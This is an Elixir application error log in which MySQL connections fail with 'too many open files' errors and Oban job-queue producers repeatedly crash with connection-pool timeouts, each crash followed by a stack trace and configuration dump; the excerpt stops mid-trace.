[Sun Sep  6 00:38:07.660000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.591.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:38:08.822000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.584.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:38:13.027000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.586.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:38:13.587000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.587.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:38:15.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "mailers"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1017ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "mailers"}}}}, meta: %{name: Oban, node: "demo", queue: "mailers", started_at: ~U[2026-09-06 00:38:03.240962Z], limit: 20, uuid: "c7b3bb0d-2a70-44a7-ba65-9a0cc8538386", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:38:03.240968Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "mailers"}}}}, dispatch_timer: #Reference<0.2525715032.1099431938.64831>, refresh_timer: #Reference<0.2525715032.1068498948.68154>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:38:15.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "reports"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1039ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "reports"}}}}, meta: %{name: Oban, node: "demo", queue: "reports", started_at: ~U[2026-09-06 00:38:03.241295Z], limit: 3, uuid: "9bad9afe-1027-4b48-a369-586539ff832a", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:38:03.241301Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "reports"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.209049>, refresh_timer: #Reference<0.2525715032.1068498948.68169>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:38:15.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "high"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 801ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "high"}}}}, meta: %{name: Oban, node: "demo", queue: "high", started_at: ~U[2026-09-06 00:38:03.242552Z], limit: 50, uuid: "46354504-5948-4f5b-985d-a848454442bb", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:38:03.242558Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "high"}}}}, dispatch_timer: #Reference<0.2525715032.1099431938.64830>, refresh_timer: #Reference<0.2525715032.1099431938.64816>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:38:15.237000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "webhooks"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 999ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "webhooks"}}}}, meta: %{name: Oban, node: "demo", queue: "webhooks", started_at: ~U[2026-09-06 00:38:03.243311Z], limit: 5, uuid: "ded62c8e-c049-4bf0-86ac-7a3d3ad9501b", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:38:03.243317Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "webhooks"}}}}, dispatch_timer: #Reference<0.2525715032.1077673987.47369>, refresh_timer: #Reference<0.2525715032.1077673987.47368>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:38:15.238000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "low"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 887ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "low"}}}}, meta: %{name: Oban, node: "demo", queue: "low", started_at: ~U[2026-09-06 00:38:03.240744Z], limit: 5, uuid: "1fc74e0f-6469-404f-9175-bfe2409bb6c8", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:38:03.240750Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "low"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.209048>, refresh_timer: #Reference<0.2525715032.1121189889.209031>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:38:15.238000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "default"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 860ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "default"}}}}, meta: %{name: Oban, node: "demo", queue: "default", started_at: ~U[2026-09-06 00:38:03.243465Z], limit: 10, uuid: "51fcc69f-e784-4824-bb16-6f01dbfe99d8", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:38:03.243471Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "default"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.209047>, refresh_timer: #Reference<0.2525715032.1121189889.209046>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:38:17.754000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.592.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:38:18.363000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.591.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:38:18.428000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.588.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:38:22.248000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.589.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:38:25.180000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.585.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:38:26.026000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.590.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:38:26.501000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.587.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:38:27.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "mailers"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 803ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "mailers"}}}}, meta: %{name: Oban, node: "demo", queue: "mailers", started_at: ~U[2026-09-06 00:38:15.239490Z], limit: 20, uuid: "79c5090b-adf2-43f7-bca8-9ffd7dcf9c6d", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:38:15.239496Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "mailers"}}}}, dispatch_timer: #Reference<0.2525715032.1068498948.68451>, refresh_timer: #Reference<0.2525715032.1068498948.68432>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:38:27.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "high"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1098ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "high"}}}}, meta: %{name: Oban, node: "demo", queue: "high", started_at: ~U[2026-09-06 00:38:15.238697Z], limit: 50, uuid: "c8547a9a-8892-436b-ae5c-258da153d91d", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:38:15.238704Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "high"}}}}, dispatch_timer: #Reference<0.2525715032.1068498948.68453>, refresh_timer: #Reference<0.2525715032.1121189889.209171>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:38:27.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "low"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 837ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
